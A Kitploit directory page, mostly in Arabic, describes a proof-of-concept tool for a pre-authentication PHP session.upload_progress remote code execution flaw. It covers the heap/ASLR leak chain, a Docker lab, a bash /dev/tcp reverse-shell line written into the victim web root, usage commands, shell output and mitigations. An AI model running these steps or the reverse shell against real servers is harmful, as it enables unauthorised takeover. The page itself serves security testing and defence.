Skip to content
KitploitKITPLOIT
أدواتعمليات الاستغلالالمدونة
Log in
إرسال
أدواتعمليات الاستغلالالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

الخلاصاتاتصالالخصوصية© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2026-109619 — استغلال إثبات مفهوم لثغرة RCE قبل المصادقة في PHP session.upload_progress (PHP2Shell)، مع تسريب heap/ASLR، وملفات تعريف الإزاحات لكل إصدار بناء، ومعالج reverse shell شامل. | Kitploit
أدوات/GitHubGitHub/eqstlab/cve-2026-109619
تحليل الذاكرة الجنائيتحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويباختبار الاختراقأداة الوصول عن بعدتطوير الحمولاتمختبرات وتدريب عملي
GitHubeqstlab/cve-2026-109619

CVE-2026-109619

استغلال إثبات مفهوم لثغرة RCE قبل المصادقة في PHP session.upload_progress (PHP2Shell)، مع تسريب heap/ASLR، وملفات تعريف الإزاحات لكل إصدار بناء، ومعالج reverse shell شامل.

7منذ يوم واحدلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة
عرض المستودع

CVE-2026-109618 / CVE-2026-109619 PHP2Shell RCE

★ CVE-2026-109618 / CVE-2026-109619 PHP session.upload_progress Pre-Auth RCE PoC ★


نظرة عامة

PHP2Shell (CVE-2026-109618 / CVE-2026-109619) هو ثغرة تنفيذ تعليمات برمجية عن بُعد دون مصادقة (Unauthenticated Remote Code Execution) في PHP ضمن Apache mod_php. يؤدي طلب multipart/form-data مُصمَّم بعناية إلى إجهاض بسبب نفاد الذاكرة (out-of-memory bailout) في معالج session.upload_progress الذي يعمل قبل الطلب، مما يترك مؤشرات قديمة (stale pointers) تُسرّب عناوين كومة Zend وقواعد libphp.so عبر Set-Cookie (مما يُبطل ASLR)؛ ثم يُعيد جدول HashTable مُزوَّر توجيه مُدمِّر (destructor) إلى zif_system، فيُنفِّذ الأوامر بصلاحيات عامل الويب (www-data). لا تُشترط أي مصادقة، وإعدادات الجلسة القابلة للاستغلال مُفعَّلة افتراضيًا.


الإصدارات المتأثرة

الفئةالإصدار
قابلة للاستغلالPHP 8.2.x / 8.3.x / 8.4.x / 8.5.x قبل التصحيح
مُصحَّحةPHP 8.5.12 · 8.4.27 · 8.3.36 · 8.2.35 أو أحدث (2026-10-21)
تم التحقق منها علىphp:8.4.26-apache الرسمي (Debian 13، amd64)

الإزاحات (Offsets) خاصة بكل بناء (الإصدار · المعمارية · التوزيعة). يتضمن هذا الـ PoC ملف تعريف لـ 8.4.26-apache amd64؛ وتحتاج عمليات البناء الأخرى إلى ملفات profiles/*.json الخاصة بها.


التأثير

  • تنفيذ تعليمات برمجية عن بُعد بصلاحيات حساب عامل الويب (www-data)
  • قراءة وكتابة كاملة لجذر المستندات (document root)، وإعدادات التطبيق، وبيانات اعتماد قاعدة البيانات، والأسرار التي يمكن الوصول إليها من ذلك الحساب
  • الكشف عن محتوى الذاكرة (مؤشرات الكومة / libphp، وربما رموز الجلسات والمفاتيح) حتى قبل تنفيذ التعليمات البرمجية عن بُعد

البيئة

الضحية = php:8.4.26-apache الرسمي مع الإعدادات أدناه. يُشغِّل المهاجم العملية من حاوية منفصلة (eqst-kali) على نفس جسر Docker؛ وتتصل الصدفة العكسية (reverse shell) بعنوان IP الخاص بها.

# victim (official image + vulnerable config inlined in the Dockerfile)
docker build --platform linux/amd64 -t p2s-victim .
docker run -d --name p2s-victim --platform linux/amd64 p2s-victim          # default bridge
docker inspect -f '{{.NetworkSettings.Networks.bridge.IPAddress}}' p2s-victim   # e.g. 172.17.0.2

# attacker (kali) on the same bridge
docker network connect bridge eqst-kali
الشرط المسبقالحالة في هذا المختبر
PHP 8.2–8.5 (قبل التصحيح) + Apache mod_phpPHP 8.4.26 / Apache 2.4.69، prefork
session.upload_progress.enabledمفعّل (افتراضي)
session.use_strict_mode0 (افتراضي)
display_errorsمفعّل (يُسرّب تسريب المرحلة الأولى)
memory_limit128M (افتراضي — تُرك دون تغيير)
post_max_size / upload_max_filesize > memory_limit (يسمح لجسم الطلب بالوصول إلى نفاد الذاكرة OOM)256M (التطبيقات القادرة على الرفع ترفع هذه القيم عادةً)
عملية عامل Apache واحدة (الحالة القديمة لكل عملية)1

ملاحظة حول المضيف (WSL2): على Windows Docker Desktop (WSL2) يعيّن النواة libphp عند 0x7c...، وهو أقل من فحص ASLR الخاص بالاستغلال الأصلي عند 0x7F...، لذا يتجاهل التسريب الصالح. يقوم p2s_shell.py بتوسيع ذلك النطاق تلقائيًا. على مضيف Linux أصلي يكون التصحيح بلا تأثير.


PoC

p2s_shell.py هو عملية واحدة تفتح المستمع الخاص بها، وتجلب الاستغلال الأصلي، وتختار الإزاحات من profiles/*.json حسب إصدار PHP للهدف، وتُشغّل السلسلة، وتلتقط صدفة عكسية مُرقّاة إلى PTY (دون nc منفصل).

PoC/
├── Dockerfile                             # victim image (config inlined)
├── p2s_shell.py                           # all-in-one: fingerprint -> offsets -> trigger -> shell
└── profiles/php-8.4.26-apache-amd64.json  # per-build offsets (system/dtor/htdata)
    (vendor/exploit.py is auto-fetched from upstream at run time; not stored here)

متطلب أولي لمرة واحدة: جهّز حمولة الصدفة العكسية في جذر الويب الخاص بالضحية (حامل الأمر بحجم 14 بايت، لذا تُوضع الحمولات الطويلة في ملف يُشغَّل عبر bash</w/c، وفقًا للمصدر الأصلي):

KALI=$(docker inspect -f '{{.NetworkSettings.Networks.bridge.IPAddress}}' eqst-kali)
docker exec p2s-victim sh -c "printf 'bash -i >& /dev/tcp/$KALI/4444 0>&1\n' > /w/c"   # /w = web root symlink

شغّل PoC من داخل المهاجم (المسارات نسبية إلى السكربت):

# interactive PTY shell  (victim IP from the inspect above)
python3 p2s_shell.py -u http://172.17.0.2/index.php

# batch: run commands and print output
python3 p2s_shell.py -u http://172.17.0.2/index.php --run 'id;uname -a'

يقوم ببصمة X-Powered-By: PHP/8.4.26، ويحمّل الملف التعريفي المطابق، ويفتح الصدفة:

[*] profile php-8.4.26-apache-amd64.json: PHP 8.4.26/amd64 system=0x465370 dtor=0x65eb60 htdata=0x690D8
[*] listening on 0.0.0.0:4444
[*] triggering exploit: bash</w/c  (offsets from JSON profile)
[+] reverse shell from 172.17.0.2:54620
www-data@victim:/var/www/html$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

الخيارات:

  • --run 'c1;c2' — وضع الدفعات (لا حاجة إلى طرفية تفاعلية)
  • --no-pty — الإبقاء على صدفة بسيطة بدلًا من الترقية إلى PTY
  • --php-version / --arch — تجاوز بناء الهدف عندما يكون X-Powered-By مخفيًا
  • --lport — منفذ الصدفة العكسية (يجب أن يطابق المنفذ المضمّن في /w/c، الافتراضي 4444)

التخفيف

  • ترقية PHP إلى 8.5.12 / 8.4.27 / 8.3.36 / 8.2.35 أو أحدث (الإصلاح الكامل الوحيد)؛ أعد تشغيل العمال بعد ذلك
  • اضبط session.upload_progress.enabled = Off إذا لم يكن تقدم الرفع مستخدمًا
  • اضبط display_errors = Off في بيئة الإنتاج (يمنع تسريب المرحلة الأولى المضمّن)
  • شغّل PHP كمستخدم غير مميز مع جذر مستند للقراءة فقط؛ وحدّد معدل أجسام multipart الكبيرة عند الحافة
  • راقب طلبات multipart التي تحتوي على ~1000 حقل، والأجسام الكبيرة جدًا، وتكرار أخطاء OOM/500، وانهيار عمليات Apache الفرعية، وأسطر السجل zend_mm_heap corrupted

التحليل

  • KR:
  • EN:
تنزيل الأداة